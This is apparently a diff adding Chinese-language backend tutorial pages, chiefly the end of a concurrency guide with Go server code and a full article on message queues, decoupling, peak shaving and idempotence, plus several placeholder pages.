http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(order)
|
||||
}
|
||||
|
||||
func (h *Handler) Health(w http.ResponseWriter, r *http.Request) {
|
||||
info := map[string]interface{}{
|
||||
"status": "ok",
|
||||
"goroutine": runtime.NumGoroutine(),
|
||||
"cpu": runtime.NumCPU(),
|
||||
"version": runtime.Version(),
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(info)
|
||||
}
|
||||
|
||||
// 批量处理示例
|
||||
func BatchProcess(ctx context.Context, items []int) ([]int, error) {
|
||||
g, ctx := errgroup.WithContext(ctx)
|
||||
g.SetLimit(10) // 限制并发数为 10
|
||||
|
||||
results := make([]int, len(items))
|
||||
|
||||
for i, item := range items {
|
||||
i, item := i, item // 避免闭包陷阱
|
||||
g.Go(func() error {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
default:
|
||||
// 模拟处理
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
results[i] = item * 2
|
||||
return nil
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
if err := g.Wait(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
// 初始化数据库
|
||||
db := NewDatabase()
|
||||
|
||||
// 创建处理器
|
||||
handler := NewHandler(db)
|
||||
|
||||
// 设置路由
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/order", handler.CreateOrder)
|
||||
mux.HandleFunc("/health", handler.Health)
|
||||
|
||||
// 创建服务器
|
||||
server := &http.Server{
|
||||
Addr: ":8080",
|
||||
Handler: mux,
|
||||
ReadTimeout: 5 * time.Second,
|
||||
WriteTimeout: 10 * time.Second,
|
||||
IdleTimeout: 120 * time.Second,
|
||||
}
|
||||
|
||||
fmt.Println("Server starting on :8080")
|
||||
fmt.Printf("Go version: %s\n", runtime.Version())
|
||||
fmt.Printf("CPU cores: %d\n", runtime.NumCPU())
|
||||
|
||||
if err := server.ListenAndServe(); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 总结对照表
|
||||
|
||||
### 6.1 核心概念对比
|
||||
|
||||
| 特性 | 进程 | 线程 | 协程 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| **调度者** | 操作系统 | 操作系统 | 用户程序/运行时 |
|
||||
| **切换开销** | ~1-10ms | ~1-10μs | ~100ns |
|
||||
| **内存占用** | ~10MB+ | ~1MB | ~2KB |
|
||||
| **通信方式** | IPC | 共享内存 | 共享内存/Channel |
|
||||
| **同步需求** | 不需要 | 需要锁 | 需要锁/协作式 |
|
||||
| **崩溃影响** | 仅本进程 | 整个进程 | 可控制 |
|
||||
| **适用场景** | 强隔离、多租户 | CPU 密集型 | I/O 密集型 |
|
||||
| **典型语言** | 所有语言 | 所有语言 | Go、Python、JS、Rust |
|
||||
|
||||
### 6.2 并发模型选型指南
|
||||
|
||||
| 场景 | 推荐模型 | 理由 |
|
||||
| :--- | :--- | :--- |
|
||||
| Web 服务网关 | 协程 + 异步 I/O | 高并发连接，低内存占用 |
|
||||
| 实时通信服务 | 协程 + 长连接 | 维持大量 WebSocket 连接 |
|
||||
| 数据处理管道 | 多进程 + 协程 | 利用多核，I/O 不阻塞 |
|
||||
| 科学计算 | 多线程/多进程 | CPU 密集型，需要并行计算 |
|
||||
| 微服务架构 | 多进程 + 协程 | 服务间隔离，内部高并发 |
|
||||
| 嵌入式系统 | 协程/单线程 | 资源受限，确定性调度 |
|
||||
|
||||
### 6.3 名词对照表
|
||||
|
||||
| 英文术语 | 中文对照 | 解释 |
|
||||
| :--- | :--- | :--- |
|
||||
| **Process** | 进程 | 操作系统资源分配的基本单位，拥有独立的内存空间 |
|
||||
| **Thread** | 线程 | CPU 调度的基本单位，共享进程内存空间 |
|
||||
| **Coroutine** | 协程 | 用户态轻量级线程，由程序自主调度 |
|
||||
| **Concurrency** | 并发 | 多个任务交替执行，宏观上同时推进 |
|
||||
| **Parallelism** | 并行 | 多个任务真正同时执行，需要多核支持 |
|
||||
| **Context Switch** | 上下文切换 | CPU 从一个任务切换到另一个任务的过程 |
|
||||
| **Blocking I/O** | 阻塞 I/O | 发起 I/O 请求后等待完成，期间线程挂起 |
|
||||
| **Non-blocking I/O** | 非阻塞 I/O | 发起 I/O 请求后立即返回，不等待结果 |
|
||||
| **Async I/O** | 异步 I/O | I/O 完成时通过回调或通知机制告知调用者 |
|
||||
| **Event Loop** | 事件循环 | 协程调度机制，持续监听事件并分发处理 |
|
||||
| **Goroutine** | Go 协程 | Go 语言的轻量级线程实现 |
|
||||
| **Channel** | 通道 | Go 语言中协程间通信的机制 |
|
||||
| **Mutex** | 互斥锁 | 用于保护共享资源的同步原语 |
|
||||
| **Semaphore** | 信号量 | 控制同时访问某资源的线程数量 |
|
||||
| **Deadlock** | 死锁 | 多个线程互相等待对方释放资源，导致永久阻塞 |
|
||||
| **Race Condition** | 竞态条件 | 多个线程同时访问共享数据，导致结果不确定 |
|
||||
| **Thread Pool** | 线程池 | 预先创建一组线程，复用以减少创建销毁开销 |
|
||||
| **Work Stealing** | 工作窃取 | 空闲线程从忙碌线程的队列中"偷"任务执行 |
|
||||
| **Zero-copy** | 零拷贝 | 数据在内核态和用户态之间传输时不经过 CPU 拷贝 |
|
||||
| **C10K Problem** | C10K 问题 | 单机同时处理 1 万个连接的挑战 |
|
||||
| **C10M Problem** | C10M 问题 | 单机同时处理 1000 万个连接的终极挑战 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 写在最后
|
||||
|
||||
### 7.1 并发编程的黄金法则
|
||||
|
||||
1. **不要过早优化**：先让代码正确运行，再考虑性能优化
|
||||
2. **避免共享状态**："不要通过共享内存来通信，而要通过通信来共享内存"
|
||||
3. **让错误尽早暴露**：并发 Bug 往往难以复现，要在测试阶段尽可能暴露
|
||||
4. **限制并发数**：无限并发等于没有保护，要用信号量或连接池限制
|
||||
5. **监控和可观测**：并发系统必须有完善的监控，才能快速定位问题
|
||||
|
||||
### 7.2 学习路线图
|
||||
|
||||
```
|
||||
阶段 1: 基础理解
|
||||
├── 理解进程/线程的基本概念
|
||||
├── 学习同步原语（锁、信号量、条件变量）
|
||||
└── 编写简单的多线程程序
|
||||
|
||||
阶段 2: 深入原理
|
||||
├── 理解内存模型和可见性
|
||||
├── 学习无锁编程和原子操作
|
||||
├── 理解线程池和工作窃取
|
||||
└── 分析死锁和竞态条件
|
||||
|
||||
阶段 3: 高级应用
|
||||
├── 掌握协程和异步编程
|
||||
├── 学习 Go/Python/Rust 的并发模型
|
||||
├── 理解分布式系统中的并发
|
||||
└── 性能调优和容量规划
|
||||
|
||||
阶段 4: 专家水平
|
||||
├── 设计高并发系统架构
|
||||
├── 解决复杂的并发 Bug
|
||||
├── 开发并发编程框架
|
||||
└── 分享和传播并发知识
|
||||
```
|
||||
|
||||
希望这篇指南能帮助你建立起对并发编程的系统认知。记住，**并发不是目的，而是手段**——真正的目标是构建高性能、高可用的服务。理解原理、选对模型、写好代码，你就能在并发这条路上越走越远。
|
||||
@@ -0,0 +1,3 @@
|
||||
# 跨平台方案对比（React Native / Flutter / Electron / Tauri）
|
||||
|
||||
> 待实现
|
||||
@@ -0,0 +1,3 @@
|
||||
# 文件存储与对象存储
|
||||
|
||||
> 待实现
|
||||
@@ -0,0 +1,3 @@
|
||||
# HTTP 协议
|
||||
|
||||
> 待实现
|
||||
@@ -0,0 +1,479 @@
|
||||
# 消息队列与事件驱动
|
||||
::: tip 🎯 核心问题
|
||||
**当系统耦合严重、流量突增时,如何保证核心链路稳定?** 消息队列是现代分布式系统的"缓冲器"和"解耦器"。本文通过真实案例(餐厅叫号、快递分拣、秒杀系统)深入理解消息队列的设计哲学和工程实践。
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 1. 为什么要"消息队列"?
|
||||
|
||||
### 1.1 从一个真实案例说起:淘宝订单系统的演进
|
||||
|
||||
2012年,淘宝订单系统遭遇了一次严重故障。双11零点,流量瞬间涌入,订单服务直接调用库存服务、支付服务、物流服务...整个链路像多米诺骨牌一样接连倒下。
|
||||
|
||||
**当时的架构(紧耦合):**
|
||||
|
||||
```
|
||||
用户下单 → 订单服务 → 同步调用库存服务 → 同步调用支付服务 → 同步调用物流服务
|
||||
↓ ↓ ↓
|
||||
响应 200ms 响应 500ms 响应 300ms
|
||||
```
|
||||
|
||||
::: warning ⚠️ 紧耦合的致命问题
|
||||
|
||||
- **总响应时间** = 200 + 500 + 300 = 1000ms(用户等1秒)
|
||||
- **库存服务挂了** → 订单服务也挂(线程池耗尽)
|
||||
- **支付服务慢了** → 整个链路被拖慢
|
||||
- **无法水平扩展** → 只能垂直加机器(贵且有限)
|
||||
:::
|
||||
|
||||
**改进后的架构(引入消息队列):**
|
||||
|
||||
```
|
||||
用户下单 → 订单服务 → 发送"订单创建"消息 → 立即返回(50ms)
|
||||
↓
|
||||
消息队列(Kafka)
|
||||
↓
|
||||
┌─────────────┬─────────────┬─────────────┐
|
||||
▼ ▼ ▼ ▼
|
||||
库存服务 支付服务 物流服务 通知服务
|
||||
(异步扣减) (异步处理) (异步创建) (异步发送)
|
||||
```
|
||||
|
||||
::: tip ✨ 改进后的效果
|
||||
|
||||
- **用户响应时间** = 50ms(体验提升20倍)
|
||||
- **库存服务挂了** → 消息暂存队列,恢复后继续处理
|
||||
- **支付服务慢了** → 不影响订单创建
|
||||
- **可以水平扩展** → 增加消费者实例即可
|
||||
:::
|
||||
|
||||
### 1.2 消息队列的生活化比喻
|
||||
|
||||
**餐厅叫号系统**
|
||||
|
||||
想象你去一家网红餐厅:
|
||||
|
||||
- **没有叫号系统**: 顾客必须站在窗口等,窗口有限,后面的人排长队,餐厅压力大
|
||||
- **有叫号系统**: 点完餐给你一个号,你可以先坐下,叫到号了去取餐
|
||||
|
||||
**消息队列就是软件系统的"叫号系统"**:
|
||||
|
||||
- **生产者**(点餐的人) → 把消息(订单)放到队列
|
||||
- **队列**(叫号机) → 暂存消息
|
||||
- **消费者**(厨师) → 按自己的节奏处理消息
|
||||
|
||||
<PeakShavingDemo />
|
||||
|
||||
---
|
||||
|
||||
## 2. 什么是消息队列?(定义 + 核心三要素)
|
||||
|
||||
### 2.1 什么是"消息队列"?
|
||||
|
||||
::: tip 🤔 术语解释
|
||||
**消息队列(Message Queue, MQ)** 是一个存储消息的容器,生产者把消息放进去,消费者从里面取消息处理。它实现了"异步通信"——发送方不需要等待接收方处理完成。
|
||||
|
||||
**同步 vs 异步**:
|
||||
|
||||
- **同步**: 像打电话,对方必须接听才能交流
|
||||
- **异步**: 像发微信,发了就行,对方有空再看
|
||||
|
||||
这就像你给朋友打电话(同步) vs 发微信(异步)。
|
||||
:::
|
||||
|
||||
### 2.2 消息队列的核心三要素
|
||||
|
||||
#### 要素一:生产者(Producer)
|
||||
|
||||
**职责**: 创建并发送消息到队列。
|
||||
|
||||
**生活化比喻**: 生产者就像"寄件人",把信件(消息)送到邮局(队列)。
|
||||
|
||||
::: details 关键设计要点
|
||||
|
||||
- **发送方式**: 同步发送(可靠但阻塞) vs 异步发送(高性能但需处理回调)
|
||||
- **消息确认**: 等待 Broker 确认(At Least Once) vs 发送即忘(At Most Once)
|
||||
- **失败处理**: 重试策略、本地日志备份、死信队列
|
||||
:::
|
||||
|
||||
#### 要素二:消费者(Consumer)
|
||||
|
||||
**职责**: 从队列获取消息并处理。
|
||||
|
||||
**生活化比喻**: 消费者就像"收件人",从邮箱(队列)取出信件(消息)并处理。
|
||||
|
||||
::: details 关键设计要点
|
||||
|
||||
- **消费模式**: 推模式(Push,Broker主动推送) vs 拉模式(Pull,消费者主动拉取)
|
||||
- **消费确认**: 自动 ACK(高效但可能丢消息) vs 手动 ACK(可靠但需处理超时)
|
||||
- **并发控制**: 单线程顺序消费 vs 多线程并行消费
|
||||
- **失败处理**: 重试策略、死信队列、补偿机制
|
||||
:::
|
||||
|
||||
#### 要素三:Broker(消息代理)
|
||||
|
||||
**职责**: 接收、存储、转发消息。
|
||||
|
||||
**生活化比喻**: Broker 就像"邮局"或"快递中转站",负责接收、分拣、派送信件。
|
||||
|
||||
::: details 关键设计要点
|
||||
|
||||
- **存储模型**: 内存存储(低延迟) vs 磁盘存储(高可靠)
|
||||
- **复制策略**: 主从复制、多副本同步
|
||||
- **高可用机制**: 集群部署、自动故障转移
|
||||
- **扩展性**: 分区(Partition)、分片(Sharding)
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 3. 核心问题一:如何解耦系统,避免"牵一发而动全身"?
|
||||
|
||||
### 3.1 紧耦合的悲剧:一个服务挂了,全盘皆输
|
||||
|
||||
**场景还原**: 某电商平台的早期架构
|
||||
|
||||
```
|
||||
订单服务直接调用下游服务:
|
||||
┌─────────────┐
|
||||
│ 订单服务 │
|
||||
└──────┬──────┘
|
||||
│
|
||||
├───────────┬───────────┬───────────┐
|
||||
▼ ▼ ▼ ▼
|
||||
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
|
||||
│库存服务 │ │支付服务 │ │物流服务 │ │短信服务 │
|
||||
│ 200ms │ │ 500ms │ │ 300ms │ │ 100ms │
|
||||
└──────────┘ └──────────┘ └──────────┘ └──────────┘
|
||||
```
|
||||
|
||||
::: tip 📊 痛点分析表
|
||||
| 痛点 | 具体表现 | 后果 |
|
||||
|------|----------|------|
|
||||
| **级联故障** | 库存服务挂掉,订单服务同步调用超时 | 订单服务线程池耗尽,无法处理新请求 |
|
||||
| **响应延迟** | 必须等待所有下游服务响应 | 用户等待1秒以上,体验极差 |
|
||||
| **扩展困难** | 新增积分服务,需要修改订单服务代码 | 发布周期变长,风险增加 |
|
||||
| **资源浪费** | 订单服务必须等待短信服务 | 数据库连接被长时间占用 |
|
||||
:::
|
||||
|
||||
### 3.2 解耦方案:引入消息队列作为"中间层"
|
||||
|
||||
**解耦后的架构:**
|
||||
|
||||
```
|
||||
订单服务只负责发消息,不关心谁消费:
|
||||
|
||||
┌─────────────┐
|
||||
│ 订单服务 │ ──发送"订单创建"消息──┐
|
||||
└─────────────┘ │
|
||||
▼
|
||||
┌───────────────────┐
|
||||
│ 消息队列 │
|
||||
│ (Kafka/RabbitMQ) │
|
||||
│ - 可靠存储 │
|
||||
│ - 多副本 │
|
||||
│ - 顺序保证 │
|
||||
└─────────┬─────────┘
|
||||
│
|
||||
┌───────────────────────┼───────────────────────┐
|
||||
│ │ │
|
||||
▼ ▼ ▼
|
||||
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
|
||||
│ 库存服务 │ │ 支付服务 │ │ 物流服务 │
|
||||
│ 订阅订单事件 │ │ 订阅订单事件 │ │ 订阅订单事件 │
|
||||
└──────────────┘ └──────────────┘ └──────────────┘
|
||||
```
|
||||
|
||||
<DecouplingDemo />
|
||||
|
||||
::: tip ✨ 解耦的好处
|
||||
| 维度 | 解耦前 | 解耦后 |
|
||||
|------|--------|--------|
|
||||
| **故障隔离** | 库存挂 = 订单挂 | 库存挂,消息暂存队列,恢复后消费 |
|
||||
| **响应时间** | 1000ms(同步等待) | 50ms(发完消息即返回) |
|
||||
| **扩展性** | 新增服务需改订单代码 | 新增服务只需订阅主题 |
|
||||
| **系统复杂度** | 订单服务强依赖下游 | 订单服务只依赖消息队列 |
|
||||
:::
|
||||
|
||||
### 3.3 解耦的本质:从"直接调用"到"事件驱动"
|
||||
|
||||
**思维模式的转变:**
|
||||
|
||||
```
|
||||
传统思维(命令式):
|
||||
"订单服务命令库存服务:给我扣库存!"
|
||||
↓ 直接调用
|
||||
↓ 耦合度高,被调用方必须在线
|
||||
↓ 调用方需要知道被调用方的接口
|
||||
|
||||
事件驱动思维(声明式):
|
||||
"订单服务声明:订单已创建,谁关心谁来处理。"
|
||||
↓ 发送事件到消息队列
|
||||
↓ 解耦,消费者可以离线
|
||||
↓ 生产者不需要知道消费者的存在
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. 核心问题二:如何削峰填谷,应对流量突增?
|
||||
|
||||
### 4.1 秒杀场景:10万QPS如何平稳处理?
|
||||
|
||||
**场景还原**: 某电商平台双11秒杀活动,预计峰值10万QPS,但数据库只能承受1000 QPS。
|
||||
|
||||
**直接冲击的后果:**
|
||||
|
||||
```
|
||||
用户请求 ──→ 应用服务器 ──→ 数据库
|
||||
10万/s 10万/s 1000/s(极限)
|
||||
↓
|
||||
连接池耗尽
|
||||
响应超时
|
||||
数据库崩溃
|
||||
↓
|
||||
雪崩效应(所有依赖数据库的服务都挂)
|
||||
```
|
||||
|
||||
::: tip 🌊 术语解释
|
||||
**QPS(Queries Per Second)**: 每秒查询数,衡量系统吞吐量的指标。
|
||||
|
||||
**10万QPS** 意味着每秒有10万个请求,就像10万人同时冲进商店。
|
||||
:::
|
||||
|
||||
### 4.2 削峰填谷方案:消息队列作为"蓄水池"
|
||||
|
||||
**架构设计:**
|
||||
|
||||
```
|
||||
┌───────────────────────────────────────────────────────────────────────┐
|
||||
│ 秒杀系统架构 │
|
||||
├───────────────────────────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ 第一层:网关层(硬限流) │
|
||||
│ ┌───────────────────────────────────────────────────────────────┐ │
|
||||
│ │ - 令牌桶限流:10万/s → 1万/s(丢弃90%请求) │ │
|
||||
│ │ - CDN 缓存静态资源(商品详情页) │ │
|
||||
│ │ - 验证码/排队页面(削峰第一层) │ │
|
||||
│ └───────────────────────────────────────────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ 第二层:服务层(软限流) │
|
||||
│ ┌───────────────────────────────────────────────────────────────┐ │
|
||||
│ │ - Nginx限流:1万/s → 5000/s │ │
|
||||
│ │ - Redis预扣库存(原子操作): │ │
|
||||
│ │ * 使用 Lua 脚本保证原子性 │ │
|
||||
│ │ * 库存不足直接返回"已售罄" │ │
|
||||
│ │ - 生成订单令牌(排队凭证) │ │
|
||||
│ └───────────────────────────────────────────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ 第三层:消息队列层(核心削峰) │
|
||||
│ ┌───────────────────────────────────────────────────────────────┐ │
|
||||
│ │ Kafka/RocketMQ: │ │
|
||||
│ │ - 批量写入:5000/s → 1000/s(数据库承受能力) │ │
|
||||
│ │ - 消息持久化:落盘保证不丢消息 │ │
|
||||
│ │ - 多分区并行消费:提升吞吐量 │ │
|
||||
│ │ - 消费位点管理:支持故障恢复 │ │
|
||||
│ │ │ │
|
||||
│ │ 关键指标监控: │ │
|
||||
│ │ - 生产速率(Produce Rate) │ │
|
||||
│ │ - 消费速率(Consume Rate) │ │
|
||||
│ │ - 消息堆积(Lag) │ │
|
||||
│ └───────────────────────────────────────────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ 第四层:消费层(异步处理) │
|
||||
│ ┌───────────────────────────────────────────────────────────────┐ │
|
||||
│ │ 订单处理消费者(多实例): │ │
|
||||
│ │ - 从 Kafka 拉取消息(1000/s,匹配数据库能力) │ │
|
||||
│ │ - 数据库事务:创建订单 + 扣减库存 │ │
|
||||
│ │ - 更新订单状态为"已创建" │ │
|
||||
│ │ - 发送订单创建成功通知(邮件/短信/推送) │ │
|
||||
│ │ - 确认消息消费(ACK) │ │
|
||||
│ │ │ │
|
||||
│ │ 消费者扩容策略: │ │
|
||||
│ │ - 当 Lag > 10000 时,自动增加消费者实例 │ │
|
||||
│ │ - 当 Lag < 1000 时,减少消费者实例(节省成本) │ │
|
||||
│ └───────────────────────────────────────────────────────────────┘ │
|
||||
│ │
|
||||
└───────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
<PeakShavingDemo />
|
||||
|
||||
### 4.3 削峰填谷的数学原理
|
||||
|
||||
**流量平滑效果:**
|
||||
|
||||
```
|
||||
原始流量(尖峰): 平滑后流量:
|
||||
|
||||
10万/s │ ╱╲ 1000/s │████████████████
|
||||
│ ╱ ╲ │
|
||||
│ ╱ ╲ │
|
||||
1000/s│╱ ╲ 0/s │
|
||||
└─────────────── └────────────────
|
||||
0s 1s 2s 0s 20s
|
||||
|
||||
原始:10万/s 峰值,持续1秒
|
||||
平滑:1000/s 恒定速率,持续100秒
|
||||
```
|
||||
|
||||
**关键公式:**
|
||||
|
||||
```
|
||||
队列长度 = 生产者速率 × 持续时间 - 消费者速率 × 持续时间
|
||||
= 100,000 × 1 - 1,000 × 1
|
||||
= 99,000 条消息(峰值时队列堆积)
|
||||
|
||||
消费完所有消息所需时间 = 队列长度 / 消费者速率
|
||||
= 99,000 / 1,000
|
||||
= 99 秒
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 核心问题三:如何保证消息不丢失、不重复、有序?
|
||||
|
||||
### 5.1 消息可靠性:三道防线
|
||||
|
||||
消息可能在三个环节丢失:生产者发送时、Broker存储时、消费者处理时。
|
||||
|
||||
::: warning 🛡️ 三道防线
|
||||
**防线1:生产者确认(Producer ACK)**
|
||||
|
||||
- 发送消息时,等待 Broker 确认已收到
|
||||
- 如果没收到确认,重试或记录本地日志
|
||||
|
||||
**防线2:Broker持久化**
|
||||
|
||||
- 消息写入磁盘,而不是只在内存
|
||||
- 多副本同步,保证不丢数据
|
||||
|
||||
**防线3:消费者确认(Consumer ACK)**
|
||||
|
||||
- 处理完消息后,手动确认(ACK)
|
||||
- 如果处理失败,不确认,Broker重新投递
|
||||
:::
|
||||
|
||||
<ReliabilityDemo />
|
||||
|
||||
### 5.2 如何处理消息重复消费?
|
||||
|
||||
**消息重复可能在以下场景发生:**
|
||||
|
||||
1. **生产者重试**: 生产者发送消息后未收到ACK,重试发送同一条消息
|
||||
2. **消费者ACK超时**: 消费者处理完成但ACK超时,Broker重新投递
|
||||
3. **网络抖动**: 消费者ACK未到达Broker,Broker认为未消费
|
||||
4. **消费者重启**: 消费者重启后重新消费同一批消息
|
||||
|
||||
::: tip 💡 幂等性
|
||||
**幂等性**: 同一操作执行多次和执行一次的效果相同。
|
||||
|
||||
**生活中的幂等性**:
|
||||
|
||||
- **幂等**: 按电梯按钮(按10次和按1次,电梯都会来)
|
||||
- **非幂等**: 转账(转10元,执行两次会转20元)
|
||||
|
||||
**技术解决方案**: 为每条消息生成唯一ID,处理前检查是否已处理过。
|
||||
:::
|
||||
|
||||
<IdempotenceDemo />
|
||||
|
||||
---
|
||||
|
||||
## 6. 实战:如何选择消息队列?
|
||||
|
||||
### 6.1 四大主流消息队列对比
|
||||
|
||||
| 特性 | RabbitMQ | Kafka | RocketMQ | Redis Stream |
|
||||
| ------------ | ------------ | ------------ | -------------- | ------------ |
|
||||
| **定位** | 传统消息队列 | 分布式日志流 | 电商级消息队列 | 轻量级队列 |
|
||||
| **吞吐量** | ~1万/秒 | ~100万/秒 | ~10万/秒 | ~5万/秒 |
|
||||
| **延迟** | 微秒级 | 毫秒级 | 毫秒级 | 毫秒级 |
|
||||
| **可靠性** | 高(持久化) | 高(多副本) | 高(同步刷盘) | 中(AOF) |
|
||||
| **消息回溯** | 不支持 | 支持 | 支持 | 支持 |
|
||||
| **事务消息** | 支持(弱) | 不支持 | 支持(强) | 不支持 |
|
||||
| **延迟消息** | 支持 | 不支持 | 支持 | 不支持 |
|
||||
| **适用场景** | 传统企业应用 | 日志、大数据 | 电商、金融 | 小规模应用 |
|
||||
|
||||
::: tip 💡 选型建议
|
||||
**决策树:**
|
||||
|
||||
```
|
||||
选择消息队列:
|
||||
│
|
||||
├─ 需要事务消息(分布式事务)?
|
||||
│ ├─ 是 → RocketMQ(首选)或 RabbitMQ
|
||||
│ └─ 否 → 继续
|
||||
│
|
||||
├─ 需要处理海量日志/实时流?
|
||||
│ ├─ 是 → Kafka(首选)
|
||||
│ └─ 否 → 继续
|
||||
│
|
||||
├─ QPS > 1万/秒?
|
||||
│ ├─ 是 → RocketMQ 或 Kafka
|
||||
│ └─ 否 → 继续
|
||||
│
|
||||
├─ 需要复杂路由(如 headers 匹配)?
|
||||
│ ├─ 是 → RabbitMQ
|
||||
│ └─ 否 → 继续
|
||||
│
|
||||
├─ 已有 Redis 基础设施?
|
||||
│ ├─ 是 → Redis Stream(快速开始)
|
||||
│ └─ 否 → RabbitMQ(功能全面,学习曲线适中)
|
||||
```
|
||||
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 7. 总结:消息队列设计心法
|
||||
|
||||
### 7.1 核心原则回顾
|
||||
|
||||
| 原则 | 含义 | 实践要点 |
|
||||
| -------- | ---------------- | --------------------------------------- |
|
||||
| **解耦** | 服务间不直接依赖 | 通过消息队列通信,消费者故障不影响生产者 |
|
||||
| **削峰** | 平滑流量波动 | 消息队列作为蓄水池,消费者按恒定速率处理 |
|
||||
| **可靠** | 消息不丢失 | 生产者确认 + Broker持久化 + 消费者确认 |
|
||||
| **幂等** | 重复消费无影响 | 业务层面保证幂等性(唯一键、状态机) |
|
||||
| **有序** | 消息顺序保证 | 单分区有序或消费者端排序 |
|
||||
|
||||
### 7.2 设计检查清单
|
||||
|
||||
在引入消息队列前,问自己以下问题:
|
||||
|
||||
- [ ] 是否真的需要消息队列?(简单异步可以用线程池)
|
||||
- [ ] 消息丢失是否可以接受?(决定可靠性级别)
|
||||
- [ ] 消息重复是否会影响业务?(决定幂等性投入)
|
||||
- [ ] 消息顺序是否重要?(决定分区策略)
|
||||
- [ ] 消费者处理能力如何?(决定队列大小和告警阈值)
|
||||
- [ ] 如何处理消费失败?(决定重试和死信策略)
|
||||
|
||||
---
|
||||
|
||||
## 8. 名词速查表
|
||||
|
||||
| 名词 | 全称 | 解释 |
|
||||
| ----------------------- | ----------------- | --------------------------------------------------------------- |
|
||||
| **MQ** | Message Queue | **消息队列**。用于异步通信的中间件,实现生产者和消费者的解耦。 |
|
||||
| **Producer** | - | **生产者**。发送消息的一方。 |
|
||||
| **Consumer** | - | **消费者**。接收并处理消息的一方。 |
|
||||
| **Broker** | - | **消息代理**。存储和转发消息的服务端程序。 |
|
||||
| **Topic** | - | **主题**。消息的逻辑分类(如 "orders")。 |
|
||||
| **Queue** | - | **队列**。存储消息的物理容器。 |
|
||||
| **Partition** | - | **分区**。Kafka的概念,一个Topic可以分成多个Partition,提升并发。 |
|
||||
| **ACK** | Acknowledgment | **确认**。消费者处理完消息后,向Broker确认。 |
|
||||
| **Pub/Sub** | Publish/Subscribe | **发布订阅**。一种消息模式,一条消息可被多个消费者接收。 |
|
||||
| **P2P** | Point-to-Point | **点对点**。一种消息模式,一条消息只能被一个消费者接收。 |
|
||||
| **DLQ** | Dead Letter Queue | **死信队列**。存放无法消费的消息。 |
|
||||
| **Idempotence** | - | **幂等性**。多次执行结果相同。 |
|
||||
| **Throughput** | - | **吞吐量**。单位时间内处理的消息数量。 |
|
||||
| **Latency** | - | **延迟**。消息从发送到被接收的时间差。 |
|
||||
| **Persistence** | - | **持久化**。消息写入磁盘,而非仅存内存。 |
|
||||
| **Replication** | - | **副本**。为了高可用,消息被复制到多个节点。 |
|
||||
| **Transaction Message** | - | **事务消息**。保证本地事务和消息发送的一致性。 |
|
||||
| **Backpressure** | - | **背压**。消费者处理不过来时,通知生产者降速。 |
|
||||
| **Offset** | - | **偏移量**。消费者在分区中的消费位置。 |
|
||||
| **Rebalance** | - | **重平衡**。消费者组成员变化时,重新分配分区。 |
|
||||
@@ -0,0 +1,3 @@
|
||||
# 限流与背压控制
|
||||
|
||||
> 待实现
|
||||
@@ -0,0 +1,3 @@
|
||||
# 一个请求的完整旅程
|
||||
|
||||
> 待实现
|
||||
@@ -0,0 +1,3 @@
|
||||
# 搜索引擎原理
|
||||
|
||||
> 待实现
|
||||
@@ -0,0 +1,3 @@
|
||||
# 序列化与数据格式
|
||||
|
||||
> 待实现
|
||||
@@ -0,0 +1,602 @@
|
||||
# Web 框架的本质
|
||||
::: tip 🎯 核心问题
|
||||
**代码写好了,怎么让全世界的人都能访问?** 这就像问:你是想开一家路边小摊,还是经营一家跨国连锁餐厅?后端架构的选择,决定了你的"餐厅"能服务多少顾客。
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 1. 为什么要了解架构演进?
|
||||
|
||||
想象一下,你正在规划一次长途旅行。你可以选择骑自行车、开私家车、坐高铁,或者乘飞机。每种方式都有其适用的场景:自行车适合短距离且想锻炼身体的情况,飞机则适合跨越大陆的长途旅行。
|
||||
|
||||
**后端架构的选择也是如此。**
|
||||
|
||||
从互联网诞生到现在,后端架构经历了多次重大变革。每一次变革都不是为了"追新潮",而是为了解决当时面临的特定问题:
|
||||
|
||||
| 年代 | 核心问题 | 架构演进 |
|
||||
| ----- | ------------------------ | ------------------- |
|
||||
| 1990s | 如何把网站跑起来 | 物理服务器 |
|
||||
| 2000s | 代码越来越乱怎么维护 | 单体架构 + MVC |
|
||||
| 2010s | 系统太大怎么扩展和协作 | 微服务 + 容器化 |
|
||||
| 2020s | 如何降低运维成本和复杂性 | Serverless + 云原生 |
|
||||
|
||||
::: tip 📊 从表格中你能看到什么?
|
||||
让我们逐行解读这张表:
|
||||
|
||||
**1990s → 2000s**:从"能跑就行"到"需要维护"。网站从静态页面变成动态应用,代码量激增,需要更好的组织方式。
|
||||
|
||||
**2000s → 2010s**:从"单机"到"分布式"。用户量爆炸式增长,单台服务器扛不住了,需要拆分系统,水平扩展。
|
||||
|
||||
**2010s → 2020s**:从"自己运维"到"云服务"。容器和微服务虽然强大,但运维成本太高,Serverless 让开发者只关注业务逻辑。
|
||||
|
||||
**核心启示**:架构演进不是技术选型的游戏,而是**解决实际问题**的过程。每个阶段都有其适用的场景,没有"最好的架构",只有"最适合的架构"。
|
||||
:::
